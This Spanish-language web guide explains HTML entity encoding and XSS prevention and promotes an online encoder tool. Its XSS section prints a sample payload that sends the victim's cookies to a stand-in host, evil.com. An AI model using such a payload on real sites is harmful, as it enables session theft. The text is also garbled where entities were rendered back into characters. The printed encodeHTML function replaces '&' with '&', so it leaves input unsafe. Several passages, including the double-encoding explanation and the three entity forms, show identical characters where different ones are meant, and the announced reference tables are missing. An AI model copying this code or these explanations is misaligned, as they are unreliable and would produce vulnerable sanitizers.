Guía de Codificación de Entidades HTML: Protege tus Páginas Web

Si alguna vez intentaste mostrar una etiqueta <div> como texto en una página web y viste cómo desaparecía en el DOM, ya conoces el problema. Los navegadores interpretan ciertos caracteres como instrucciones de marcado, no como contenido. Las entidades HTML son la forma de decirle al navegador: "muestra este carácter literalmente, no lo interpretes."

Esta guía cubre las entidades que realmente usarás, cuándo importa la codificación y cómo evitar las vulnerabilidades de seguridad que surgen al omitirla.

Por Qué Existen las Entidades HTML

HTML utiliza un puñado de caracteres como delimitadores estructurales. Los tres principales:

• < abre una etiqueta
• > cierra una etiqueta
• & inicia una referencia de entidad

Cuando el parser del navegador encuentra <script>, no muestra el texto—ejecuta JavaScript. Cuando encuentra ©, renderiza ©. Esta naturaleza de doble propósito significa que si quieres mostrar estos caracteres como texto visible, necesitas escaparlos usando entidades HTML.

Una entidad HTML es una cadena que comienza con & y termina con ;. Entre esos delimitadores hay una referencia con nombre (como amp) o un código numérico (como #38).

Referencia de Entidades HTML Comunes

Estas son las entidades que usarás con más frecuencia:

Las primeras cinco son obligatorias. Si estás renderizando contenido generado por usuarios o mostrando código, usarás &, <, >, " y ' constantemente.

Espacio de No Separación: El Sutil

  evita un salto de línea entre dos palabras. No es solo "un espacio extra"—los navegadores colapsan múltiples espacios regulares en uno, pero   siempre se renderiza. Úsalo para:

• Mantener unidades con números: 100 km
• Prevenir palabras huérfanas al final de párrafos
• Formatear precios: $ 99.99

No uses   para espaciado visual. Para eso existen margin y padding en CSS.

Entidades con Nombre vs Numéricas vs Hexadecimales

Hay tres formas de escribir la misma entidad:

<!-- Entidad con nombre -->
&amp;

<!-- Entidad numérica decimal -->
&#38;

<!-- Entidad numérica hexadecimal -->
&#x26;

Las tres producen el carácter ampersand &. Aquí te indicamos cuándo usar cada una:

Entidades con nombre (&, <, ©) son legibles y auto-documentadas. Cuando alguien lee el código fuente HTML, & comunica la intención de inmediato. Úsalas para caracteres comunes.

Entidades numéricas decimales (&, ©) funcionan para cualquier punto de código Unicode, incluso caracteres sin referencia con nombre. Úsalas cuando necesites caracteres que no tienen entidades con nombre, o al generar HTML programáticamente.

Entidades hexadecimales (&, ©) son iguales a las decimales pero usan notación hexadecimal. Útiles cuando trabajas con tablas Unicode (que listan puntos de código en hex) o cuando tus herramientas generan valores hex.

En la práctica, usa entidades con nombre para las comunes y recurre a las numéricas para todo lo demás. Las entidades con nombre son compatibles con todos los navegadores y mucho más fáciles de leer en el código fuente.

Cuándo Codificar Caracteres HTML

Mostrar Fragmentos de Código

Si tu página muestra ejemplos de código, cada < y > necesita codificación:

<!-- Esto se rompe -->
<p>Usa la etiqueta <div> para contenedores.</p>

<!-- Esto funciona -->
<p>Usa la etiqueta &lt;div&gt; para contenedores.</p>

La mayoría de motores de plantillas y frameworks manejan esto automáticamente cuando usas su sintaxis estándar de salida (por ejemplo, {{ variable }} en lenguajes de plantillas o {variable} en JSX). Pero cuando escribes HTML puro o inyectas contenido con innerHTML, estás por tu cuenta.

Contenido Generado por Usuarios

Todo contenido que proviene de usuarios—entradas de formularios, comentarios, campos de perfil, consultas de búsqueda—debe codificarse antes de renderizarse. Esto es un requisito de seguridad, no opcional.

Emails HTML

Los clientes de correo son notoriamente inconsistentes con el renderizado de caracteres. Codificar caracteres especiales como entidades asegura que se muestren correctamente en Gmail, Outlook, Apple Mail y cualquier otro cliente. Esto es especialmente importante para caracteres como &, " y símbolos no ASCII.

Sistemas de Gestión de Contenido

Si estás construyendo un CMS o trabajando con uno, el pipeline de contenido debe codificar entidades HTML en la etapa de salida. El contenido almacenado en la base de datos puede ser crudo, pero lo que llega al navegador debe estar escapado.

Prevención de XSS: Por Qué la Codificación Es un Tema de Seguridad

Cómo Funciona XSS

Considera una página de búsqueda que muestra lo que el usuario buscó:

<!-- El servidor renderiza esto -->
<p>Buscaste: ENTRADA_DEL_USUARIO</p>

Si un usuario ingresa texto normal como tutoriales javascript, no hay problema. Pero ¿qué pasa si ingresa?:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Sin codificación, el navegador ve una etiqueta <script> real y la ejecuta. El atacante ahora tiene las cookies de la víctima, tokens de sesión y potencialmente acceso completo a la cuenta.

La Solución

Codifica los cinco caracteres críticos antes de insertar cualquier dato no confiable en HTML:

Aquí tienes una función de codificación mínima:

function encodeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Nota el orden: & debe reemplazarse primero. Si reemplazas < primero (produciendo <), y luego reemplazas & (convirtiendo < en <), obtienes doble codificación.

Protección a Nivel de Framework

Los frameworks modernos manejan la codificación por defecto:

• React: JSX escapa automáticamente los valores en expresiones {}. Usar dangerouslySetInnerHTML evita esto—evítalo con contenido de usuario.
• Angular: Los bindings de plantilla se sanitizan automáticamente. [innerHTML] omite la sanitización.
• Vue: La sintaxis mustache {{ }} escapa automáticamente. v-html no lo hace.
• Plantillas del lado del servidor (EJS, Jinja2, Twig): La mayoría escapa por defecto, pero verifica tu configuración.

El patrón es consistente: la ruta estándar es segura, y siempre hay una vía de escape para HTML crudo. Nunca pases entrada de usuario por la vía de escape.

Codifica HTML con Nuestra Herramienta

¿Necesitas codificar o decodificar entidades HTML rápidamente? Nuestra herramienta Codificador HTML lo maneja al instante:

• Pega tu texto y obtén la salida codificada con un clic
• Soporta todas las entidades con nombre y numéricas
• Decodifica entidades de vuelta a texto legible
• Todo se procesa del lado del cliente—tus datos nunca salen de tu navegador

Es particularmente útil para preparar contenido para emails HTML, codificar fragmentos de código para documentación o sanitizar texto antes de incrustarlo en plantillas.

Errores Comunes a Evitar

Doble codificación: Pasar texto por un codificador dos veces convierte & en &. Si ves & mostrándose como texto literal en tu página, has doble-codificado en algún punto de tu pipeline.

Codificar dentro de etiquetas <script>: La codificación de entidades HTML no funciona dentro de bloques de script. El parser de JavaScript no entiende <—lo ve como la cadena literal <. Para scripts en línea, usa escape de cadenas JavaScript en su lugar.

Usar   para espaciado: Esto crea problemas de accesibilidad. Los lectores de pantalla pueden pronunciar cada espacio de no separación individualmente. Usa CSS para espaciado visual.

Olvidar los valores de atributos: La codificación no es solo para contenido de texto. Los valores de atributos también necesitan codificación, especialmente si contienen entrada de usuario:

<!-- Peligroso -->
<input value="ENTRADA_DEL_USUARIO">

<!-- Seguro -->
<input value="&quot;valor&quot; codificado">

Referencia Rápida: Árbol de Decisión de Codificación

1. ¿El contenido es generado por el usuario? → Siempre codificar
2. ¿Estás mostrando código? → Codificar <, > y &
3. ¿Va en un atributo HTML? → Codificar también " y '
4. ¿Va en una URL? → Usa codificación URL en su lugar (consulta nuestra Guía de Codificación URL)
5. ¿Va en JavaScript? → Usa escape de JavaScript, no entidades HTML

Recursos Relacionados

• Codificación Base64 Explicada — comprende otro formato de codificación esencial para desarrollo web
• Guía de Codificación URL — aprende cuándo y cómo codificar caracteres en porcentaje en URLs
• Herramienta Codificador HTML — codifica y decodifica entidades HTML al instante en tu navegador

---

🛠️ Prueba nuestro Codificador HTML para codificar y decodificar entidades HTML directamente en tu navegador—sin enviar datos a ningún servidor.